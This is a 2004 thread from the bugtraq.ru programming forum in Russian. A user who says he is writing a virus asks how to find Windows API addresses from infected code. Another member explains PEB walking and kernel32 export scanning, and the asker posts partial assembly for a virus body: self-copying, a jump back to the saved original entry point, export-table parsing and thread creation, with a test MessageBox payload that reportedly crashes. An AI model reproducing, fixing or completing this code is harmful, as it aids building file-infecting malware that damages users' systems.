информационная безопасность
без паники и всерьез
 подробно о проектеRambler's Top100
Spanning Tree Protocol: недокументированное применениеАтака на InternetЗа кого нас держат?
BugTraq.Ru
Русский BugTraq
 Анализ криптографических сетевых... 
 Модель надежности двухузлового... 
 Специальные марковские модели надежности... 
 С наступающим 
 Microsoft обещает радикально усилить... 
 Ядро Linux избавляется от российских... 
главная обзор RSN блог библиотека закон бред форум dnet о проекте
bugtraq.ru / форум / programming
Имя Пароль
ФОРУМ
если вы видите этот текст, отключите в настройках форума использование JavaScript
регистрация





Легенда:
  новое сообщение
  закрытая нитка
  новое сообщение
  в закрытой нитке
  старое сообщение
  • Напоминаю, что масса вопросов по функционированию форума снимается после прочтения его описания.
  • Новичкам также крайне полезно ознакомиться с данным документом.
[asm] Есть много способов 29.06.04 11:53  Число просмотров: 1514
Автор: amirul <Serge> Статус: The Elderman
<"чистая" ссылка>
Один из вариантов: идти по памяти с шагом в страницу и искать сигнатуру MZ. Там в таблице импортов можно найти kernel32.dll, а уже в ней найти нужную функцию.

Но лучшим вариантом является использование PEB.

Указатель на PEB из UserMode можно взять по адресу fs:0x30 (для XP, но для 2k скорее всего там же). Ну а дальше вариантов несколько. По смещению 8 в PEB-е лежит ImageBaseAddress и от него можно плясать дальше. А можно и по смещению 0xc взять указатель на PEB_LDR_DATA и разгребать InLoadOrderModuleList

Для 9x сказать ничего не могу - читай питрека
<programming>
[asm] вирус, адрес апи 27.06.04 22:34  
Автор: choor Статус: Elderman
<"чистая" ссылка>
Есть известный способ нахождения адреса функции, это просто прочитать сам kernel32 загруженный в память. Опять же в программе(которую заражает вирус) есть функция GetProcAddress, и у неё есть есть адрес... Как достать этот адрес, что бы уже через эту функцию узнать остальные которые мне нужны?
[asm] Есть много способов 29.06.04 11:53  
Автор: amirul <Serge> Статус: The Elderman
<"чистая" ссылка>
Один из вариантов: идти по памяти с шагом в страницу и искать сигнатуру MZ. Там в таблице импортов можно найти kernel32.dll, а уже в ней найти нужную функцию.

Но лучшим вариантом является использование PEB.

Указатель на PEB из UserMode можно взять по адресу fs:0x30 (для XP, но для 2k скорее всего там же). Ну а дальше вариантов несколько. По смещению 8 в PEB-е лежит ImageBaseAddress и от него можно плясать дальше. А можно и по смещению 0xc взять указатель на PEB_LDR_DATA и разгребать InLoadOrderModuleList

Для 9x сказать ничего не могу - читай питрека
У меня почему-то при чтении кернела загруженного всегда вылетает ошибка программы, почему не могу разобраться 29.06.04 20:43  
Автор: choor Статус: Elderman
<"чистая" ссылка>
В смысле "чтении кернела загруженного"? 30.06.04 11:16  
Автор: amirul <Serge> Статус: The Elderman
<"чистая" ссылка>
Ты знаешь его адрес в конкретном процессе?
Так зачем морока с поиском адреса. Если базовый адрес один и тот же, то и адрес функции не будет меняться.

Ну а при поиске кернела в памяти ты часто будешь пытаться читать несуществующую память. Тут уж тебе поможет SEH (Structured Exception Handling) - смотри в MSDN на тему __try/__except (именно с двумя подчеркиваниями)
да с SEH я работал, вот токо у меня почему-то не находит... 30.06.04 14:06  
Автор: choor Статус: Elderman
<"чистая" ссылка>
да с SEH я работал, вот токо у меня почему-то не находит адрес АПИ
Опять проблемы со стуком в подвале? 30.06.04 14:20  
Автор: amirul <Serge> Статус: The Elderman
<"чистая" ссылка>
> да с SEH я работал, вот токо у меня почему-то не находит
> адрес АПИ
Или давай подробное описание метода поиска (лучше с сырцами) и описание вылета или ищи. :-)

http://www.bugtraq.ru/forum/faq/general/smart-questions.html
SRC ASM CODE 03.07.04 14:22  
Автор: choor Статус: Elderman
Отредактировано 03.07.04 14:26  Количество правок: 2
<"чистая" ссылка>
Вот не большой кусок:
include                 consts.inc
p386
model   flat
locals  __

.data


	virstart:
		db      'Choors Test',0
		szTitle         db      "Choor test",0
		szMessage       db      "Get Api Addr",10

	virentry:
			sub     esp, virmemory
			pusha
			
			lea     ebp, [esp+32]

			call    __seh_init
			mov     esp, [esp+8]
			jmp     __seh_error
		
		__seh_init:             push    dword ptr fs:[0];
			mov     fs:[0], esp

			call    $+5
			pop     esi
			sub     esi, $-1-virstart

			mov     edi, ebp

			mov     ecx, virsize
			rep     movsb

			lea     eax, [ebp + in_new_addr-virstart]
			call    eax

		__seh_error:            pop     dword ptr fs:[0]
			pop     eax

			popa

			db      0E9h
			oldentry                dd      0

		jmp     loader

	; ---------------------------------------------------------------------------

	in_new_addr:

		call    get_func_names
		jc      __exit
		push    eax
		push    esp
		push    0
		push    ebp
		lea     eax, [ebp+newthread-virstart]
		push    eax
		push    0
		push    0
		call    x_CreateThread-virstart[ebp]
		pop     eax

	__exit:                 retn

	newthread:              pusha
		mov     ebp, [esp+32+4]

		call    __seh_init
		mov     esp, [esp+8]
		jmp     __seh_error
		__seh_init:
		mov     fs:[0], esp

		call    testmsgbox

	__seh_error:            pop     dword ptr fs:[0]
		pop     eax               ;

		popa
		retn

	get_func_names:

		lea     esi, imp_name-virstart[ebp]
		lea     edi, imp_addr-virstart[ebp]

	__cycle:                call    get_proc_address
		jz      __error
		stosd

		__scan0:                lodsb
		or      al, al
		jnz     __scan0

		cmp     [esi], al
		jne     __cycle

	__success:              clc
		retn

	__error:                stc
		retn

	get_proc_address:       
		
		pusha
		
		sub     esp, virmemory
		mov     ebx,[esp]
        and     ebx,0FFFF0000h

		mov     ecx, [ebx].mz_neptr
		mov     ecx, [ecx].pe_exporttablerva
		add     ecx, ebx

		xor     edi, edi
	__search_cycle:         lea     edx, [edi*4]
		add     edx, [ecx].ex_namepointersrva
		mov     edx, [edx]
		add     edx, ebx

		pusha
		mov     edi, edx
	__cmp_cycle:            cmp     byte ptr [edi], 0
		je      __cmp_done
		cmpsb
		je      __cmp_cycle
	__cmp_done:             popa

		je      __name_found

		inc     edi
		cmp     edi, [ecx].ex_numofnamepointers
		jb      __search_cycle

	__return_0:             xor     eax, eax        ; return 0
		jmp     __return

	__name_found:           mov     edx, [ecx].ex_ordinaltablerva
		add     edx, ebx
		movzx   edx, word ptr [edx*2]
		mov     eax, [ecx].ex_addresstablerva
		add     eax, ebx
		mov     eax, [eax*4]
		add     eax, ebx

	__return:               mov     [esp].popa_eax, eax
		test    eax, eax

		popa
		retn
		
testmsgbox:
        xor     eax,eax
        push    eax
        push    offset szTitle
        push    offset szMessage
        push    eax
        call    x_MessageBoxA-virstart[ebp]

imp_name:
	db      'MessageBoxA',0
	db      'CreateThread',0
	db      0

	align   4
	virsize                 equ     $-virstart

imp_addr:
	x_MessageBoxA          dd      ?
	x_CreateThread          dd      ?
	
	align   4
	virmemory               equ     $-virstart 
.code
	loader:
		call    virentry
	end     loader

---
Я весь код не стал показывать, не имеет смысла...
А это должно работать, проходился дебагером, вообщем вылетает без SEH И всё
Неужели нет решения? 05.07.04 14:05  
Автор: choor Статус: Elderman
<"чистая" ссылка>
1




Rambler's Top100
Рейтинг@Mail.ru


  Copyright © 2001-2025 Dmitry Leonov   Page build time: 0 s   Design: Vadim Derkach